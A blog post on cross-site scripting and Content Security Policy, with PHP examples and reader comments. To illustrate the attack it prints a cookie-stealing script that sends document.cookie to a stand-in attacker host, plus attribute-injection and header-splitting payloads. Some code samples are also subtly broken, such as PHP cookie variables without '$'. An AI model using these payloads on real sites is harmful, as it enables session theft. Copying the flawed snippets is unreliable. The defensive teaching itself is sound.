Skip to Content

Helen Keller once said, Security is mostly a superstition. It doesn’t exist in nature, nor do the children of men as a whole experience it. Avoiding danger is no safer than in the long run than outright exposure. Life is either a daring adventure or nothing.

Well, the only thing I could think of is an XKCD meme.

In this article, I will focus on one particular web security threat and a emerging/novel approach to tackle the same. We all know or at least heard about Cross-Site Scripting (XSS) attacks. The Open Web Application Security Project (OWASP) defines XSS as:

Cross-Site Scripting (XSS) attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

XSS is an HTML problem. It is caused due to the very nature how HTML content is generated and comprehended by browsers. Browsers parse the HTML and translate them to displayable content on a web page. However, they also have the ability to interpret JavaScript embedded in a web page which get executed. Thus, at the very least, injecting any non-sanitized <script> tags could trigger such an attack. However, the crux of an XSS attack is that malicious code is injected and executed on the client under the
same set of permissions as the  web application domain. Since browsers support the Same Origin Policy (and cross origin if server implements CORS) and that the injection occurred from the same domain as the application, the attacker could breach the DOM security and access resources which are otherwise restricted. 

Let’s take a simple example. I assume the reader has basic level understanding of HTML content, HTTP headers and JavaScript. I will be using PHP to implement the server side code. But the reader may use any server side language of his/her choice to play around with the concepts. Assume there’s a simple HTML form which lets users post comments.

<?php

$comments = array();

if(isset($_POST[‘comment’])){

$comment = $_POST[‘comment’];

/*

* move it to the database

*/

}

/* 

* read from database and print all comments posted so far

*/

$comments = read_from_database();

echo $comments;

?>

<html>

<body>

<form action=’#’ method=’POST’>

<textarea name=’comment’></textarea>

<input type=’submit’ value=’post’>

</form>

</body>

</html>

Now, since no sanitization is performed on the comment (which is a user input) this could very much cause an XSS attack. If we post a comment, something like:

<script type=’text/javascript’>

alert(“Hello XSS !!”);

</script>

So every time, we open the posts page, we see an alert with text “Hello XSS!”. Let’s make this worse. How about: 

<script type=’text/javascript’> 

     var userCookies = document.cookie; 

     window.location = ‘www.attackerSite.html?userCookies=‘+encodeURIComponent(userCookies); 

</script>

The script actually stole the user’s cookies and forwarded the same to the attacker’s website. Okay, so how do we prevent XSS then? As we realized that all nuisance occurred because of the absence of input sanitization, so the big savior is to sanitize the user input.

1. All HTML should be escaped from the user’s input before storing them. For e.g. in PHP we have 

  1. htmlentities – which translate any characters which possess special significance in HTML.
  2. htmlspecialchars – use this if NOT all html characters need to be translated which makes it faster.

    <?php

    $new = htmlspecialchars(“<a href=’test’>Test</a>”, ENT_QUOTES);

    echo $new; // &lt;a href='test'&gt;Test&lt;/a&gt;

    ?>

    2. For dynamically generated JavaScript, one must escape script blocks and event-handler attributes in HTML tags and URLs to
        prevent attribute injection.

    3. Untrusted URLs should be validated. For e.g. consider this URL:

    http://somesite.com/@”onmouseover=”alert(‘test xss’)”/

    Now when wrapped around an anchor tag (without sanitization), it would look like:

    <a href=http://somesite.com/@onmouseover=alert(‘test xss’)rel/” target=”_blank” =””>http://somesite.com/@”onmouseover=”alert(‘test xss’)”/</a>

    This tag turns into an anchor tag which upon mouseover executes a script. So how do we escape it?

              > Ensure that the string literal is JavaScript-escaped

              > Ensure that the string literal is enclosed in single quotes

              > HTML-escape the surrounding attribute value

              > Ensure that the surrounding attribute value is enclosed in double quotes

    4. HTTP header splitting

    Servers respond back to an HTTP request via an HTTP response which consists of the headers and the body. Headers are
            separated by one CRLF (CR is Carriage Return and LF is Line Feed) and headers are separated from body by two CRLFs. If an
            attacker smells the headers and tampers them then XSS is imminent. The most vulnerable of the headers is
            the Location header. A Location header is issued by the server under two circumstances:

             

              a. The requested URI has temporarily/permanently moved. This response contains the HTTP status code 3XX

              b. the server notifies about the creation of a new resource at an URI. This response contains HTTP status code of 201 or 202.

     

    If Location header contains the redirect URL that’s controlled by user input:

    HTTP/1.1 302 Moved

    ContentType: text/html; charset=ISO88591

    Location: <?php echo $location; ?>

    <html><head><title>Moved</title></head><body>

    Moved <a href=<?php echo $location; ?>>here</a>

    In this example, we see that for a request, the server has responded with a status code of 302 and the Location header. If
            the Location header is not validated then an attacker could inject into it, something like:

    hello.world\r\n\Set-Cookie: attack=XSS\r\n\r\n<script>do_something_bad();</script>

    Now if we see the response header, it would look like:

    HTTP/1.1 302 Moved

    ContentType: text/html; charset=ISO88591

    Location: hello.world

    SetCookie: attack=XSS

    <script>do_something_bad()</script><html><head><title>Moved</title></head><body>

    Moved <a href=‘hello.world

    Set-Cookie: attack=XSS

    &lt;script&gt;do_something_bad()&lt;/script&gt;’>here</a>

    Now note that response body is separated from headers by 2 CRLF. So, after the Set-Cookie header, the contents are   
            considered to be the response payload. Since the Location header doesn’t have a valid URL, browsers tend to drop it and paint
            the payload. This causes the script to execute.

    5. When using cookies for storing sessionID or other information, it’s advisable to set the HTTPOnly flag. This prevents any cookies
        to be accessed via JavaScript. For e.g.:        

    <?php

    ifHTTOnly = TRUE; // cannot be accessed via JavaScript

    ifSecure = TRUE; //goes over HTTPS

    _path = “/mySite/cookies”;

    setCookie(“username”, “JohnDoe”, 3600,_path, ifSecure, ifHTTPOnly);

    ?>

    Here we’re setting a cookie which expires in 3600 seconds, runs only over HTTPS and is an HTTPOnly cookie.

    6. Content Security Policy (CSP)

    CSP_Shield_Logo.jpg

        CSP logo (Mozilla)

    Content Security Policy(CSP) is a new feature in browsers with the whole intention of mitigating XSS vulnerabilities.

    p.s.: It should be noted that CSP is not a replacement for the existing tools to fight XSS, rather it should be considered
                    another layer of defense.

    How does CSP work?

                   a. A website declares a policy, secure policy and browsers implement that policy.

                   b. A policy could be considered a set of rules or restrictions. Each policy shares information related to the sources of 
                       resources and the type of resources to be loaded by the browser. Type of resources could be images, CSS files,
                       JavaScript files, media files etc. So basically it’s analogous to
    whitelisting the legitimate source and types rather than
                       blacklisting the illegitimate ones.

                   c. A policy mandates its behavior through the use of directives. Each such directive defines the behavior for a particular
                      resource type. Following are a set of supported directives:

      default-src : Define loading policy for all resources type in case of a resource type dedicated directive is not defined
                                         (fallback)

    script-src : Define which scripts the protected resource can execute
      object-src : Define from where the protected resource can load plugins
      style-src : Define which styles (CSS) the user applies to the protected resource
      img-src : Define from where the protected resource can load images
      media-src : Define from where the protected resource can load video and audio
      frame-src : Define from where the protected resource can embed frames
      font-src : Define from where the protected resource can load fonts
      connect-src : Define which URIs the protected resource can load using script interfaces
      form-action : Define which URIs can be used as the action of HTML form elements
      sandbox : Specifies an HTML sandbox policy that the user agent applies to the protected resource
      script-nonce : Define script execution by requiring the presence of the specified nonce on script elements
      plugin-types : Define the set of plugins that can be invoked by the protected resource by limiting the types of  
                                               resources that can be embedded

      reflected-xss : Instructs a user agent to activate or deactivate any heuristics used to filter or block reflected cross-site
                                             scripting attacks, equivalent to the effects of the non-standard X-XSS-Protection header

      report-uri : Specifies a URI to which the user agent sends reports about policy violation

        Source: <OWASP>

                   d. A website declares a policy which is delivered to the client through an HTTP header called Content-Security
                       Policy :

    Content-Security-Policy: default-src ‘self’; img-src ‘*’; style-src ‘self’; script-src
                ‘sometrustedsite.com’

      Since the server is the most trustworthy source of information, the policies are hence dispatched from the server
                       through headers. In the example policy above, we find there are four directives each
                       separated by a semi-colon. Multiple sources in a directive are space delimited.

                             > default-src : this is the default directive with a value ‘self’, which mandates the browser to allow resources to load                                                  resources from the website’s domain/origin.

                             > img-src: load images from any source

                             > style-src : load style related files only from the website’s origin

                             > Script-src: load scripts only from sometrustedsite.com origin

    The default-src directive operates over all resources but then the mention of specific directives override the default-
                     src
    directive. One could also send over multiple policies over multiple HTTP headers and then the intersection of
                     the policies is what is finally allowed by the browser.

    Now, the browser receives this policy and continues rendering the page. If during rendition, a resource is loaded then                 the browser checks the source and filters it against the policy provided. If the sources provided in the policy do not
                    allow the source of the resource being loaded, the browser rejects the same. So lets say there was a script
                    file unallowedSource.com/index.js then the browser rejects the same and notifies in the console like:

    Refused to load the script ‘unallowedSource.com/index.js’ because it violates the following
            Content Security Policy directive: script-src ‘sometrustedsite.com’

    A DOM event is also generated which the developer can listen to and take necessary actions if required. Apart from that,
                    it also has a reporting mechanism which sends the policy violation logs back to the server because this would help assess
                    the website’s activity and remove illegitimate sources or improve upon the policies.

                  e. Setting up CSP on the server:
    On the server, we need to define a policy and then push it to the client. 

    PHP based implementation:

    <?php

    $policy = array(
    “default-src ‘self'”,
    “img-src: *”,
    “style-src ‘self'”,
    “script-src ‘someTrustedsite.com'”
    );

    $policyText = implode(“;”, $policy);

    HttpResponse::status(200);
    HttpResponse::setContentType(‘text/plain’);
    HttpResponse::setHeader(‘Content-Security-Policy’, $policyText);
    HttpResponse::setData(‘hello world ! You are protected via CSP.’);
    HttpResponse::send();

    ?>

                   f. Implications of CSP:   

                        > If the site had a script tag somewhere in between the <body> tag like:

    <script>
    alert(“hello world !”);
    </script>

    Then such inline script executions will be barred because, once the policy is delivered to the browser, it’s tough to
                             determine the source of the snippet above i.e. whether it’s the website’s intent or an attacker’s. However, if it’s
                             imperative to put in inline scripts then the policy could be changed to:

    script-src ‘self’ ‘unsafe-inline’

                        > Now, in case of DOM event-handlers like:

    <div onmouseover=”…”>…</div>

    This suffers from the same failures as injecting inline scripts and hence are barred from executing.

              > val() is EVIL and hence should be avoided 100% of the time although ‘unsafe-eval’ directive source exists to
                             allow eval() execution.

       So in case we want to support the above with CSP, the mantra is to separate code from data. It’s worth trying moving
                        all inline scripts into out-of-line scripts. For e.g. for the mouseoverevent example described above, we could do:

      <div id=’myDiv’></div>

       In an out-of-line script file myDiv.js, we could do:

    document.querySelector(‘#myDiv’).addEventListener(‘mouseover’, function(){

    /** your stuff goes here */

    }, false);

                   g. Reacting to policy violations:

      When a policy is violated, the user-agent dispatches a SecurityViolation DOM event. This event doesn’t bubble
                       up
    (an event-propagation mechanism) and is not cancellable at the Document object as well.

      If the policy contains a report-uri directive, the user-agent then could report the violation to a specified URI. This
                      reporting needs to be done via:

                        > throwing an HTTP POST request to the report-uri
                        > the Content-type header for the request should be set as application/json

    So upon violation, a JSON blob is generated and posted to the report-uri:

    {

    csp-report:{

    document-uri:”mySite/index.html”,

    referrer: “someOtherDisallowedSite.com”,

    blocked-uri: “someOtherDisallowedSite.com/doBad.js”,

    violated-directive: “script-src ‘someTrustedsite.com'”,

    original-policy: “script-src ‘someTrustedsite.com’ report-uri ‘mySite/policies/report.php'” 

    }

    }

    The reports could be used hence to analyze of any malicious activity on the site or if the usage of improper policies which could break the website.

    To report this post you need to login first.

    6 Comments

    You must be Logged on to comment or reply to a post.

      1. Frank Koehntopp

        SDK support is always helpful – what I like about this blog is that it explains the concept and shows possible exploits so it can be understood in depth.

        I know the current school of thought tries to get rid of security through silver bullet tools, but that has not worked so far and frankly I see no reason to think that it ever will.

        Secure applications require architects that grok security, blogs like this are a real help.

        CSRF next…? 😉

        (0) 
        1. Gareth Ryan

          Very good point Frank.  My issue is often that a customer will pay for a Web/Portal/Mobile/ABAP/whatever developer and just assume they also know the ins & outs of security in the modern, connected world.  Reality is someone like me, who is a mostly accomplished developer (I think!) can’t possibly know all there is to know about security too.

          Put it this way – would a customer ask for a security consultant to build a full BPM & WD Java solution?

          Cheers,

          Gareth.

          (0) 

    Leave a Reply